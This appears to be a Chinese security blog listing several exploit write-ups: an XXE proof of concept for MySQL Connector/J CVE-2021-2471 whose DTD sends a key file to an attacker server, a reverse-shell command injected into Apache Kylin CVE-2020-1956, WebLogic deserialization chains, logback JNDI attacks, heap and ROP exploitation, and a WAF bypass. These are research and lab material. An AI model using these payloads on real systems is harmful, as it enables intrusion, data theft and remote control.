闻道解惑


  • 首页

  • 标签

  • 站点地图

MySQL CVE-2021-2471 POC

发表于 2021-10-24

MySQL CVE-2021-2471 XXE POC

零、影响范围

1
2
infected: mysql-connector-java <= 8.0.36
fixed: mysql-connector-java > 8.0.37

一、非现实世界的POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static final String connection_url = "jdbc:mysql://192.168.64.137:3306/sqlxmltest";
private static final String connection_user = "root";
private static final String connection_pass = "root";
private static final String poc = "" +
"<!DOCTYPE b [" +
" <!ENTITY xxe SYSTEM \"http://192.168.64.137:8041/poc.txt\">" +
"]>" +
"<name>&xxe;</name>";

public static void poc() throws Exception {
Connection connection = DriverManager.getConnection(connection_url, connection_user,connection_pass);
SQLXML sqlxml = connection.createSQLXML();
sqlxml.setString(poc);
sqlxml.getSource(DOMSource.class);
}

二、现实世界的POC

1、建表

MySQL 中没有 SQLXML 类型,建表的时候选择字符串类型即可。

1
2
3
4
create table RSS_FEEDS
(RSS_NAME varchar(32) NOT NULL,
RSS_FEED_XML longtext NOT NULL,
PRIMARY KEY (RSS_NAME));

2、初始化表数据

1
2
3
INSERT INTO `sqlxmltest`.`RSS_FEEDS` (`RSS_NAME`, `RSS_FEED_XML`) 
VALUES ('NORMAL',
'<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<struts>\r\n <constant name=\"struts.i18n.encoding\" value=\"gb2312\">324</constant>\r\n <package name=\"stuts2\" extends=\"struts-default\">\r\n <action name=\"login\" class=\"ActionUnit.Person\">\r\n <result name=\"s\">1_1.jsp</result>\r\n <result name=\"t\">1_2.jsp</result>\r\n <result name=\"m\">1_3.jsp</result>\r\n <result name=\"fail\">1_4.jsp</result>\r\n </action>\r\n <action name=\"modifyPassword\" class=\"student.ModifyPassword\">\r\n <result name=\"success\">2_1.jsp</result>\r\n <result name=\"fail\">2_2.jsp</result>\r\n </action>\r\n <action name=\"studentquery\" class=\"student.QueryScore\">\r\n <result name=\"success\">3_1.jsp</result>\r\n <result name=\"false\">3_2.jsp</result>\r\n </action>\r\n <action name=\"infoquery\" class=\"student.QueryInfo\">\r\n <result name=\"success\">4_1.jsp</result>\r\n <result name=\"false\">4_2.jsp</result>\r\n </action>\r\n </package>\r\n</struts>');

3、读表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@RequestMapping(value = "/get/{rss_name}")
public String get_sql_xml(@PathVariable("rss_name") String rss_name) throws Exception {
Connection con = DriverManager.getConnection(connection_url, connection_user,connection_pass);

String selectRowQuery =
"select RSS_NAME, RSS_FEED_XML " +
"from RSS_FEEDS " +
"WHERE RSS_NAME = ?";
PreparedStatement selectRow = con.prepareStatement(selectRowQuery);
selectRow.setString(1, rss_name);
ResultSet resultSet = selectRow.executeQuery();
resultSet.next();
SQLXML sqlxml = resultSet.getSQLXML(2);
DOMSource domSource = sqlxml.getSource(DOMSource.class);
return domSource.getNode().getNodeName();
}

4、攻击者:通过SQL注入或者数据库访问来修改数据

1
2
3
INSERT INTO `sqlxmltest`.`RSS_FEEDS` (`RSS_NAME`, `RSS_FEED_XML`) 
VALUES ('READFILE',
'<!DOCTYPE data SYSTEM \"http://192.168.64.137:8041/xxe.dtd\"><name>&xxe;</name>');

5、攻击者准备 dtd 文件

1
2
3
<!ENTITY % file SYSTEM "file:///opt/security/rootkey/1.key">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://192.168.64.137:8041/?%file;'>">
%all;

6、攻击者准备 web server

1
python -m SimpleHTTPServer 8041

7、攻击者触发漏洞

1
curl -vv 'http://192.168.64.137:8080/get/READFILE'

8、攻击者的 web server收到 dtd 下载请求和 key 文件读取成功的报文

1
2
3
4
5
6
$ python -m SimpleHTTPServer 8041                                                                                                                                                                                                                                                       1 ⨯
Serving HTTP on 0.0.0.0 port 8041 ...


192.168.64.137 - - [23/Oct/2021 13:00:59] "GET /xxe.dtd HTTP/1.1" 200 -
192.168.64.137 - - [23/Oct/2021 13:00:59] "GET /?key=3c0bac92-977a-4cb5-afa7-32b2e83605bf HTTP/1.1" 200 -

三、漏洞查找关键点

1
mysql-connector-java-8.0.26.jar or lower version
1
2
SQLXML sqlxml = resultSet.getSQLXML(2);
DOMSource domSource = sqlxml.getSource(DOMSource.class);

从 WebLogic 一脉相承的三个反序列化 CVE 说起

发表于 2020-09-06

Java 反序列化漏洞的利用有两个条件。首先是漏洞点,也就是将攻击者可控的内容传递给 ObjectInputStream.readObject() 函数的调用链;另一个条件是gadget,也就是从某个类的反序列化入口函数 readObject() 开始,一步步执行到危险函数的调用链。

WebLogic 对于 T3 协议和 IIOP 协议的处理,天然就会进行反序列化的漏洞点。因此,对于 WebLogic 反序列化漏洞的挖掘,主要就是在 gadget 的寻找和补丁绕过上。

2020年的1月、4月和7月, WebLogic 先后爆出了三个一脉相承的反序列化 CVE,涉及了七个 gadget。下面简单分析一下这三个 CVE 以及相关的 gadget。

CVE-2020-2555

2020年1月,CVE-2020-2555 被公开。这个反序列化 gadget 有三条利用链。

首先都是利用了 JDK 中的 BadAttributeValueExpException。这个类的特点是可以将对 readObject() 的调用,转换成对 toString() 函数的调用。

01-badattributevalue

BadAttributeValueExpException 的这个特性,可以显著扩大反序列化 gadget 的范围,因此反序列化利用工具 ysoserial 中,有五条利用链都使用这个类作为入口。

02-ysoserial-badattribute

经过从 readObject() 到 toString() 的转换之后,找到真正的入口函数:LimitFilter.toString()。

03-limitfilter

函数中调用的两处 extracotor.extract() 函数来自接口 ValueExtractor.

04-valueextractor

搜索一下这个接口函数的实现,共29个。

05-extract-implementation

CVE-2020-2555 的第一个调用链,利用了 ChainedExtractor 和 ReflectionExtractor 的两个 extract() 函数实现。

06-chainedExtractor

07-reflectionExtractor

这两个实现可以完美的串起一条利用链,和 ysoserial 里 CommonsCollections1 利用链中所使用的 ChainedTransformer.transform() 和 InvokerTransformer.transform() 几乎一模一样。

08-chainedTransformer

09-invokerTransformer

因此我们可以构造出 POC,基本原则是:

  • 1、使用 BadAttributeValueExpException 作为反序列化的入口类,从而调用到 toString()

  • 2、使用 LimitFilter 对象作为前者的 valObj,从而调用到 extract()

  • 3、使用 ChainedExtractor 作为 LimitFilter 的 m_comparator,从而可以进行链式 extract()。

  • 4、使用 ReflectionExtract 构建 ChainedExtractor,从而可以链式调用 method.invoke() 从而成功调用 Runtime.getRuntime().exec()。

最终的调用栈如下:

10-callstack

CVE-2020-2555 的第二条利用链,同样来自上面 29 个 ValueExtractor.extract() 的实现类之一:MvelExtractor。

11-mvelExtractor

熟悉 MVEL 的你应该一眼就看出了利用方法,只要使用 MvelExtractor 替换掉前一个利用链的 3、4两步就可以了。最终调用栈如下:

12-callstack-mvelExtractor

第三条利用链,同样来自上面 29 个实现类之一:MultiExtractor。

13-multiExtractor

由于 MultiExtractor.extract() 函数中没有链式调用,因此我们可以将 MultiExtractor 作为连接第一条利用链中 LimitFilter.toString() 和 ChainedExtractor.extract() 的桥梁。LimitFilter.toString() 间接通过 MultiExtractor.extract() 调用到 ChainedExtractor.extract() 中。最终的调用栈如下:

14-callstack-multiExtractor

至于修复补丁,Oracle 打在了 LimitFilter.toString() 函数里。这个修复很神奇,仅仅封锁了三条调用链的入口,而从 MultiExtractor.extract() 经过 ChainedExtractor.extract() 调用到 ReflectionExtractor.extract() 的利用链、以及MvelExtractor.extract() 的利用链依然存在,只要再找一个入口就好了。

CVE-2020-2883

2020 年 4 月,CVE-2020-2883 被公开。同样的三条利用链,只是更换了入口函数。

前面说到,入口函数 LimitFilter.toString() 被修补,我们需要寻找一个新的入口。这个新入口同样可以在反序列化的时候,调用到 ValueExtract.extract() 中。

很快,大神们就找到了:ExtractorCompartor.compare()。

15-extractorComparator

ExtractorComparator.compare() 其实是对 jdk 中 Comparator.compare() 这个接口函数的实现。

16-jdk-comparator

那么,怎么从 readObject() 调用到 Comparator.compare() 函数呢? ysoserial 早就给出了答案:PriorityQueue。

17-ysoserial-PriorityQueue

调用链如下:

PriorityQueue.readObject()

    -> PriorityQueue.heapify()

        -> PriorityQueue.siftDown()

            -> PriorityQueue.siftDownUsingComparator()

                -> Comparator.compare()

现在,我们将 CVE-2020-2555 的三条利用链稍加改造,就能实现 CVE-2020-2883 三条新的利用链:

  • 1、使用 PriorityQueue 代替 BadAttributeValueExpException 作为反序列化的入口类,从而通过 readObject() 调用到 compare()

  • 2、将 ExtractorComparator 对象设置为 PriorityQueue 的 comparator 属性值,从而通过 compare() 调用到 extract()

  • 3、将 ChaninedExtractor 或 MvelExtractor 或 MultiExtractor 设置为 PriorityQueue 的队列元素,从而通过 extract() 调用到目标函数 method.invoke() 或 MVEL.excuteExpression()

这样就能顺利绕过 CVE-2020-2555 的补丁修复,构成了三条换汤不换药的新利用链。

以第一条利用链为例,最终的调用栈如下。

18-callstack-extractComparator

至于修复补丁,Oracle 并没有封禁利用链条上的 PriorityQueue 和 ExtractComparator ,只是将 ReflectionExtractor 和 MvelExtractor 放到了反序列化黑名单中。

仔细看下 CVE-2020-2883 的几个调用栈,从 PriorityQueue.readObject() 到 ExtractorComparator.compare() 再到 ValueExtractor.extract() 的利用链仍然存在,所以只需要在 29 个实现类中再找一个新的利用类就可以完成不定的绕过。

CVE-2020-14645

腾讯蓝军很快就找到了新的可利用的实现类 UniversalExtractor。

19-UniversalExtractor

20-UniversalExtractor-extractCommplex

只是这里在调用 method.invoke() 时存在限制条件,函数名称必须是 get或 is 起始。因此可以利用那些已知的 Json 反序列化 gadget 链进行攻击。最终的调用栈如下:

21-callstack-universalExtractor

心得

通常寻找反序列化 gadget,不论是用工具搜索还是手工进行,我们会将 readObject() 作为 source,将那些危险函数(如method.invoke()、Runtime.exec()、FileOutputStream.write()等)作为 sink进行查找。但其实,在 Java 纷繁复杂的各种依赖库中,已经存在了许许多多的代码链片段可以利用。例如 BadAttributeValueExpException 将 toString() 纳入了利用链,PriorityQueue 将 compare() 纳入了利用链,ExtractorComparator 将 extract() 纳入了利用链,等等等等。在搜索的时候,将这些扩展出的利用链作为 source 或 sink,会大大增加搜索的范围,也很可能会发现新的世界。

另一方面,对于漏洞的修复者而言,并不是堵住了入口就算修复了漏洞,而是要全方位封锁调用链上的方方面面,否则就会向 Oracle 一样留下永远补不完的 CVE。

Apache Kylin 命令注入漏洞 CVE-2020-1956 POC 分析

发表于 2020-06-08

来源:香依香偎@闻道解惑

apache-kylin

零、CVE-2020-1956

2020年5月22日,CNVD 通报了 Apache Kylin 存在命令注入漏洞 CVE-2020-1956,地址在 http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202005-1133 。

Apache Kylin 是美国 Apache 软件基金会的一款开源的分布式分析型数据仓库。该产品主要提供 Hadoop/Spark 之上的 SQL 查询接口及多维分析(OLAP)等功能。

Apache Kylin 中的静态 API 存在安全漏洞。攻击者可借助特制输入利用该漏洞在系统上执行任意OS命令。以下产品及版本受到影响:Apache Kylin 2.3.0版本至2.3.2版本,2.4.0版本至2.4.1版本,2.5.0版本至2.5.2版本,2.6.0版本至2.6.5版本,3.0.0-alpha版本,3.0.0-alpha2版本,3.0.0-beta版本,3.0.0版本,3.0.1版本。

下面就来分析一下这个漏洞。

一、搭建环境

Kylin 的环境并不好搭建,包括 Hadoop、Hbase、Spark、Kafka 等等一系列的组件需要安装配置。幸好,Kylin 官网文档 http://kylin.apache.org/cn/docs/install/kylin_docker.html 提供了 Docker 环境的启动指南,分别执行这两个命令即可一键启动。

1
docker pull apachekylin/apache-kylin-standalone:3.0.1
1
2
3
4
5
6
7
8
9
docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1

kylin-start-page

使用默认密码 admin/KYLIN 登录,就能看到已经配置好的模型(models),环境搭建大功告成。

kylin-models

二、Migrate Cube

这个漏洞的补丁代码在 github 上,地址是 https://github.com/apache/kylin/commit/9cc3793ab2f2f0053c467a9b3f38cb7791cd436a# 。

patch-code

从补丁代码里可以看出,漏洞点在 CubeService 中的 migrateCube() 函数,漏洞原因是使用 String.format() 格式化待执行的系统命令且未做过滤,导致命令内容可被注入,涉及的参数包括 srcCfgUri、dstCfgUri、projectName三个。

Migrate Cube 是什么?在官网的文档的 Restful 章节 http://kylin.apache.org/cn/docs/howto/howto_use_restapi.html#migrate-cube 中,可以看到这个 Restful接口的描述:

migrate-cube-doc

接口中显示需要两个路径入参,分别是 cube 和 project。回看 kylin 页面上的表格里,已经显示了 cube name 和对应的 Project 。

kylin-models

我们选择第一行记录中的 cube:kylin_sales_cube 和对应的 Project:learn_kylin 作为路径参数,POST 这个报文看看。

kylin-first-post

收到错误响应,提示 One click migration is disable。

first-post-response

二、Migrate Cube

One click migration is disable 的提示,看起来有点眼熟。回看一眼patch code,嘿,原来这个错误提示就在 migrateCube() 函数的开头呀。

code-for-response

对应的配置检查函数 isAllowAutoMigrateCube() 在 KylinConfigBase.java 中,从配置项中读取了 kylin.tool.auto-migrate-cube.enabled,默认值为 FALSE。

migrate-

如果要把配置修改为 true,有两个办法。

  • 方法一:使用 docker exec -it <container_id> bash 命令进入容器,修改其中 conf/kylin.properties 文件,增加 kylin.tool.auto-migrate-cube.enabled=true 的配置项,然后在容器中使用 bin/kylin stop 和 bin/kylin start 命令重启 kylin。

enable-config

  • 方法二:在 WEB 界面上点击 SYSTEM 和 SET Config,手动输入配置项名称 kylin.tool.auto-migrate-cube.enabled 和值 True。

set-config

set-config-2

方法一是永久有效,只是需要重启 kylin 进程;方法二立即生效但进程重启或 Reload Config 之后就失效。我们选择相对简单一些的方法二来操作。

server-config

修改完配置之后,再次发送 POST Migrate Cube 的报文,这次的报错提示为 Source configuration should not be empty.

second-request

second-response

对应代码中的 srcCfgUri 和 dstCfgUri 的非空检查。

check-srcConfig

这两个值同样来自于配置项,分别是 kylin.tool.auto-migrate-cube.src-config 和 kylin.tool.auto-migrate-cube.dest-config。

src-dst-cfguri

我们可以用前面配置 kylin.tool.auto-migrate-cube.enabled 同样的方法来配置这两个值。不过,在配置之前,你有没有注意到,这两个值,就是命令注入的关键参数呢?

cfgUri

三、命令注入

好,用 destCfgUri 来注入试试。在界面上 Set Config,把 srcCfgUri 配置为 /home/admin/apache-kylin-3.0.1-bin-hbase1x/conf/kylin.propertie,将 destCfgUri 配置为 /tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; touch /tmp/xiang; echo 。注意其中注入了 touch /tmp/xiang 的系统命令。

set-config-final

重新发起 Migrate Cube 的请求。

migrate-cube-request

收到 200 成功响应。

migrate-cube-respnse

查看 docker 容器,注入的命令 touch /tmp/xiang 已经成功执行。

touch-file-success

可以反弹 shell 么?当然可以。将 kylin.tool.auto-migrate-cube.dest-config 配置为 /tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; bash -i >& /dev/tcp/172.17.0.1/9999 0>&1; echo 。其中注入的命令从 touch /tmp/xiang 换成了反弹 shell 的命令 bash -i >& /dev/tcp/172.17.0.1/9999 0>&1,反弹到宿主机 172.17.0.1 上。

reverse-shell-config

在宿主机上启动监听。

kylin-24-listen

再发送一次 Migrate Cube 报文,等待几秒即可获取反弹 shell。

reverse-shell-success

日志库logback的攻击路径

发表于 2020-03-07

来源:香依香偎@闻道解惑

logo

logback

logback 是 log4j 创始人设计的另一个开源日志组件。相比 log4j,重构了内核的 logback 的优势在于性能更高(关键路径性能提升十倍)、内存占用更小、文档更完善、功能更全面等等。Github 上的数据显示,logback 被八千多个项目所使用,包括 springboot 在内的多个框架已经使用 logback 作为默认的日志组件。

github

初步分析了一下 logback 库,有一些有趣的发现。

XXE

logback 查找配置文件的函数在ContextInitializer.findURLOfDefaultConfigurationFile(),首先读取启动参数 logback.configurationFile 来获取配置文件的地址(支持远端 URL地址)。如果找不到,再去 classpath 下依次查找如下三个文件作为配置文件:

  • a) logback-test.xml

  • b) logback.groovy(最新版本似乎不再支持)

  • c) logback.xml

configfile

获取配置文件之后,通过 JoranConfigurator.doConfigure() (实现在父类的GenericConfigurator.doConfigure()中) 读取 xml 配置文件,其中调用 SaxEventRecorder.recordEvents() 解析 xml 配置文件时存在 XXE 漏洞。

xxe-01

xxe-02

动态加载

通常情况下,配置文件的这一类 XXE 漏洞并不是大问题,毕竟配置文件只会在初始化的时候加载一次,攻击者没机会触发漏洞。但是 logback 库不一样。只要配置文件中配置了 scan 属性,它就会启动一个 scan task 监控配置文件的变动,支持配置文件变更时的自动加载。

scan-task

scan-doc

也就是说,我们有机会通过上传覆盖 logback 的 xml 配置文件来触发 XXE 漏洞。触发条件是:

  • a) logback 配置文件中配置了 scan 属性

  • b) logback 配置文件是以文件形式保存。

第二个条件是因为代码 convertToFile() 中的一个限制:配置文件 URL 必须以 file:// 开始。如果像 springboot 那样,把配置文件保存在 jar 包中,配置文件的 URL 以 jar:// 开始,就不会启动实时监控的 scan task。

convert

JNDI

除了自动更新之外,logback 的配置文件还有一个更强大的功能:利用 JNDI 的 RPC 功能从远端来读取内容,只要在配置文件中配置 <insertFromJNDI> 标签就行了,JNDI的远端路径就配置在这个标签的 env-entry-name 属性中。

env-entry-name

jndi-lookup

梳理一下,如果一个 web 应用满足如下三个条件:

  • a) logback 配置文件以文件形式保存
  • b) logback 配置文件中配置了 scan 属性
  • c) 有上传接口可以覆盖 logback 配置文件

我们就可以通过覆盖 logback 配置文件,来实现 XXE 攻击,以及 JNDI 的远程 RCE。

实战

验证一下。

  • a) 从 github 上拉取 spring-mvc-showcase 项目,将 pom.xml 中 log4j 的 dependency 修改为 logback,增加 logback.xml 配置文件,并配置 scan 属性。

pom

showcase

  • b) 通过tomcat运行war包。写一个上传接口,其中存在跨目录文件上传漏洞

upload

  • c) 通过上传接口覆盖 logback.xml文件,增加标签,指定恶意的jndi服务。

replace

  • c) 等待一个扫描周期(配置文件中配置的 30 秒)之后,恶意 JNDI 地址收到了访问请求,恶意程序成功执行。

rce

JMX

不仅如此,logback 还实现了 jmx 的 MBeans 接口。只要在配置文件中配置 <jmxConfigurator /> 的空标签,web 应用就会开放 jmx 端口,供 jconsole 进行连接和调用。

jmx-configurator

mbean-interface

在JMXConfigurator这个MBean中,公开给jconsole调用的接口如下。

mbean

验证一下。

  • a) 在之前的环境上,我们重新上传一个 logback.xml,配置上 <jmxConfigurator/> 标签。

upload

  • b) 等待一个周期查看tomcat进程,发现多了一个39327端口。

org-port

new-port

  • c) 使用 jconsole 连接,无需认证即可登录。可以直接查看 tomcat 的管理属性,以及调用 tomcat 和 logback 提供的 MBeans 操作接口。

jconsole

小结

logback 通过 scan 参数提供了配置文件的动态更新功能。如果可以覆盖这个配置文件,就可以实现XXE、JNDI、jmx等多种攻击方式了。

【堆溢出】从一个例子学习 House of Force

发表于 2019-12-15

【堆溢出】从一个例子学习 House of Forcet

来源:香依香偎@闻道解惑

House of Foce 是堆溢出在特定场景下的一种简单利用方式,通过一个例子来学习下。

首先看下运行环境, Ubuntu 16.04.1 LTS x64 中 Ubuntu GLIBC 2.23-0ubuntu10 版本的 GLIBC。

01-runtime

再看下源码,有四次 malloc() 调用,中间夹着一次模拟溢出的内存改写。

02-program

上 gdb,调试走起,我们一句一句的看。

03-gdb

第一个 malloc:16

现在是在调用第一个 malloc(16) 之前的状态。

04-before-first-malloc

可以看到,堆 heap 还没有分配出来(main_arena的top字段等于0,vmmap 还没有 heap 的内存段)。

05-main_arena-vmmap

按 ni 执行 malloc(16)之后,返回值是 0x602010。

06-601020

此时 main_arena 的 top 指针指向 0x602020,而vmmap 的 heap 段起始于 0x602000。

07-main_arena-vmmap

看看 0x602000 起始的这段堆内存的情况。

08-602000

0x602000 到 0x60201F 的这 32 字节内存,就是 malloc(16) 所占用的堆内存。其中,前 16 个字节(0x602000 ~ 0x60200F)是 GLIBC 管理的堆头,后 16 个字节(0x602010 ~ 0x60201F)是返回给程序使用的空间,所以 malloc(16) 的返回值就是 0x602010。而 main_arena 的 top 指针指向空闲堆块的起始地址 0x602020。示意图如下:

09-heap

模拟溢出的内存改写

接下来源码的 10 和 11 两行,是模拟用溢出的方式修改空闲内存块的 size 大小为 全F。

10-line-10-11

修改成功。

11-overflow-to-trunk-size

为什么要修改空闲内存块的大小为 全F?是为了下一步申请超大内存时,避免因为空闲内存块大小不够而返回失败。继续看源码的第 13 行,第二个malloc(),申请负数大小的内存。

12-line-13

第二个 malloc:-4128

从汇编可以看出,由于 malloc 的入参格式是正整数,因此程序运行时会将负数 -4128 转换成超大整数 0xFFFFFFFFFFFFEFE0.

13-minus-4128

我们计算一下,这一次堆块分配,从空闲堆块起始位置 0x602020 开始,加上 16 字节的堆头,再减去 4128 之后,应该是 0x601010。

14-calculator

看看执行 malloc(-4128) 之后,main_arena 的 top 指针,果然指向了 0x601010。

15-main_arena-after-second-malloc

而 0x601010 所在的区域,就是程序的 GOT 表。其中 0x601018 是 libc_start_main() 函数的 GOT 表项地址,0x601020 是 malloc() 函数的 GOT 表项地址。

16-got-table

也就意味着,堆块的内存分配已经被程序劫持到了 GOT 表中。此时堆块的示意图如下:

17-heap-image

第三个 malloc:16

第三个 malloc() 分为两步,首先是分配 16个字节,然后再向分配的内存中写入 main() 函数地址。

18-set-to-main

分配 16 个字节之后,main_arena的top指针是 0x602030,返回给程序的地址是 0x601020。

19-malloc-16-third

注意到 0x601020 其实是 malloc() 的 GOT 表项地址,现在被 malloc() 输出到了程序里。当源码中用 *(long *)p = (long)main; 来修改分配的内存时,我们其实是覆盖了 malloc() 函数的 GOT 表项值,也就是说, malloc() 函数被劫持成了 main() 函数!

20-hijacked-to-main

示意图如下

21-overflow-malloc-to-main

第四个 malloc:16

第四个 malloc() 就是分配 16 个字节。

22-malloc-fourth

但此时,malloc() 的 GOT 表项值已经被劫持成了 main() 函数地址。我们按 si 单步调试 step into,会发现 rip 走进了 main() 函数的空间。

23-si

24-rip-to-main

程序的流程被成功劫持!

House of Force

回顾一下,这个程序是怎么做到劫持运行流程导致重入了 main() 函数?其实只做了两件事情:

  • 修改了空闲堆块的 size 字段,从而避免下一步空间不够
  • 控制了 malloc() 申请的字节数,从而分配了超大空间

这就是 House of Force 的堆溢出利用技术。通常,这种利用方式需要满足两个条件:

  • 需要存在溢出漏洞,攻击者可以控制空闲堆块的 size 字段
  • 攻击者可以控制 malloc 的字节数和 malloc 的调用次数

只要满足这些条件,就可以利用例子中的方法抬高或者压低空闲堆块的地址,从而获得任意地址写的机会。

当然,不同版本 GLIBC 的堆块分配和处理方法都略有差异,真实利用时还需要在对应版本的 GLIBC 上仔细分析。

利用 Transfer-Encoding:Chunked 绕过 WAF

发表于 2019-07-20

利用 Transfer-Encoding: Chunked 绕过 WAF 实战

来源:香依香偎@闻道解惑

找到一个部署了 WAF 的站点。先发一个报文,删除了 cookie。

01-normal-request

可以看到服务端返回了 403,证明请求已经到达服务端了。

02-normal-response

接下来,在报文中增加无意义的 /etc/passwd,触发 WAF 拦截规则。

waf-03-inject-request

无法收到响应,请求被 WAF 拦截。

waf-04-none-response

现在我们看看怎么绕过WAF。bypassword 在 《在HTTP协议层面绕过WAF》 中提出了使用 Transfer-Encoding:chunked 来绕过 WAF 的方案,原理是将请求报文的body部分切分成多份来绕过WAF规则。我们来试试。

上一个请求需要做三点改动:

  • 请求的header部分,增加一个 “Tranfer-Encoding: chunked” 的 header
  • 请求的body部分切成多份,每一份都是 “Length+换行+Value+换行” 的格式
  • body部分的最后,增加 “0+空行+空行” 作为结束符

如下所示。

waf-05-chunked-request

可以看到服务端返回了 403,证明请求已经到达服务端了,顺利通过了 WAF 的检测。

waf-06-response

360 的 luoye、00theway、zonadu 在《利用分块传输吊打所有WAF》 中提到了一个改进方案,就是在每个 Length 和 换行 之间,插入 “分号;”开头的任意注释,进一步混淆 WAF 的处理,就像这样。

waf-07-chunked-comments-request

手工切分 http body 太麻烦了,c0ny1 写了一个 BurpSuite 插件 来实现报文的自动切分,代码在 https://github.com/c0ny1/chunked-coding-converter。插件效果如下。

waf-08-c0ny1-plugin-repeater-chunked-coding

waf-09-c0ny1-plugin-sqlmap-bypassWAF

参考资料:

  • 在HTTP协议层面绕过WAF
  • 利用分块传输吊打所有WAF
  • 编写Burp分块传输插件绕WAF

Linux x64 下的万能 Gadget

发表于 2019-06-30

Linux x64 下的万能 Gadget

来源:香依香偎@闻道解惑

一、通用 Gadget

蒸米在《一步一步学ROP之linux_x64篇》中提到,在栈溢出的场景下,只要 x64 程序中调用了 libc.so,就会自带一个很好用的通用Gadget:__libc_csu_init()。

__libc_csu_init

如图,先从 0x40061A 开始执行,将 rbx/rbp/r12/r13/r14/r15 这六个寄存器全部布置好,再 ret 到 0x400600 ,继续布置 rdx/rsi/rdi,最后通过 call qword ptr[r12+rbx*8] 执行目标函数。

这个通用 Gadget 好用的地方在于,不仅可以通过函数地址的指针(通常会用记录库函数真实地址的 got 表项)来控制目标函数,还可以控制目标函数的最多三个入参(rdi/rsi/rdx)的值。此外,只要设置 rbp=rbx+1而且栈空间足够,这个 Gadget 可以一直循环调用下去。

计算一下一次调用需要的空间。

可以看出,这个 Gadget 需要布置六个寄存器(rbx/rbp/r12/r13/r14/r15)加一个 ret 返回地址,x64 下至少需要 56 个字节的栈空间。如果再算上将 rip 指令跳转进来(0x40061A)的一个 ret 地址,那就是 64 字节的栈空间。

栈的布置如下:

stack-1

二、隐藏 Gadget:pop rdi,ret

其实,这个通用 Gadget 里,还隐藏了两个更好用的 Gadget。

pop-r14-r15

将地址 0x400622 上 pop r15,ret 的三字节指令(0x41 0x5F 0xC3)拆散看,会发现后两个字节组成了一组新的指令 pop rdi,ret。

pop-rdi

这已经足够完成单入参的函数调用了。

通常栈溢出之后,需要进行如下两步:

  • 1、通过类似 puts(puts) 的方式,泄漏libc库函数的地址,从而通过偏移计算出 system 函数和 “/bin/sh” 字符串的地址

  • 2、执行 sytem(“bin/sh”) 获得系统 shell

发现没有?大多数情况我们只需要一个入参的函数调用, __libc_csu_init() 函数最后的这个 pop rdi,ret 可以完美实现上述两个步骤。

空间上,只需要 24 个字节(一个 QWORD 存放 ret 进来的地址,两个 QWORD 作为入参和被调用函数地址)的溢出空间就足够啦。

栈的空间布置如下:

stack-2

那,如果需要调用两个入参的函数呢,这个 Gadget 也行么?是的。

三、隐藏 Gadget:pop rsi,…,ret

将地址 0x400620 上 pop r14 的两字节指令(0x41 0x5E)拆散,会发现后一个字节是单字节指令 pop rsi,可以用来控制第二个入参。

pop-rsi

和前述的地址 0x400623 上的指令 pop rdi,ret组合起来,就可以完成两个入参的函数调用。

pop-rdi-rsi

只需要将栈布置如下就可以啦。

stack

四、总结

  • 1、只要Linux x64 的程序中调用了 libc.so,程序中就会自带一个很好用的通用Gadget:__libc_csu_init()。

  • 2、__libc_csu_init() 的 0x400600 到 0x400624 其中包含了 pop rdi、pop rsi、pop rdx、ret 等指令,通过巧妙的组合可以实现调用任意单参数、双参数、三参数的函数,从而顺利泄漏libc函数地址并且获取系统 shell。

  • 3、__libc_csu_init() 不只是一个通用 Gadget,完全就是“万能 Gadget”!

参考阅读:

[1] 蒸米《一步一步学ROP之linux_x86篇》:https://zhuanlan.zhihu.com/p/23487280

[2] 蒸米《一步一步学ROP之linux_x64篇》:https://zhuanlan.zhihu.com/p/23537552

格式化字符串漏洞攻击实战

发表于 2019-04-09

来源:香依香偎@闻道解惑

cheating 是 CTF 里的一道 PWN 题。主要攻击点就在于格式化字符串漏洞的利用。

一、陷阱

题目中布置了一个陷阱。如果用 IDA 6.8 来分析就很容易陷入陷阱,用 IDA 7.0 分析就会发现一些不一样的地方。

IDA-strcmp

IDA-puts

可以发现,IDA 6.8 识别出的 strcmp、puts 被 IDA 7.0 识别为了 strncmp、printf。用 readelf -r 查看,和 IDA 6.8 的结果一致。

readelf-r

为什么 IDA 6.8 和 readelf 会显示出错误的库函数?原因在于 cheating 文件中的 .dynstr section 进行了特殊处理,布置了一个陷阱。用 readelf -S 看下。

readelf-S

可以看出,cheating 文件的 .dynstr 需要被加载到内存的 0x400490 地址,对应在文件中的 offset 为 0xf91。看下这个 string table 的内容。

dynstr

这个 string table 写的确实是 strcmp 和 puts。细心一点会发现,这两个函数名后面都有多余的0x00,出题者还是留下了一点篡改的痕迹:)

但事实上,加载 ELF 文件时,并不会加载 0xF91 的 string table,而是会加载位于 0x490 位置的 string table,这里才是对应 .dynstr 目标地址 0x400490 的真命天子 。

490

400490

好了,现在我们知道,可以关掉被误导的 IDA 6.8,继续用 IDA 7.0 来分析程序吧。

二、主流程和 sub_400ACC() 的输入检查

首先看一下防御情况。

checksec

cheating 的主函数 sub_400BC0() 如下。

main

函数的逻辑是:

  • 1、调用 sub_400ACC() 进行输入检查
    • 1.1、如果检查不通过,goto 2
    • 1.2、如果检查通过,接收用户输入并传递给 printf 输出,触发格式化字符串漏洞
  • 2、输出bye并退出

如果要触发格式化字符串漏洞,首先需要通过 sub_400ACC() 的检查。看一下这个检查函数。

validation

主要逻辑是:

  • 1、生成一个64字节的字符串,其中前十个字节固定为 “cheating U”, 后54个字节为0-9随机字符。
  • 2、用户输入字符串,与这个随机字符串进行 strncmp,相同则检查通过。

处理了陷阱之后,我们会发现这里的检查函数用的是 strncmp,只比较了十一个字节。排除掉固定前缀 cheating U 的十个字节,也就只剩下一个字节,范围在 0-9。我们选定一个值(比如0),进行多次碰撞就可以了。如果没有识别出陷阱,把这里误以为是 strcmp,发现必须碰撞54个字节的随机值,就只能一头雾水地发呆啦。

攻击脚本如下。

retry-validation

接收到 slogan: 字符串,顺利通过检查!

retry-success

三、格式化字符串漏洞

通过校验之后,回到主函数 sub_400BC0() 的 if 分支内,这里是很明显的格式化字符串漏洞。

main

标准做法,分三步来实现 get shell:

  • 解决程序的退出问题
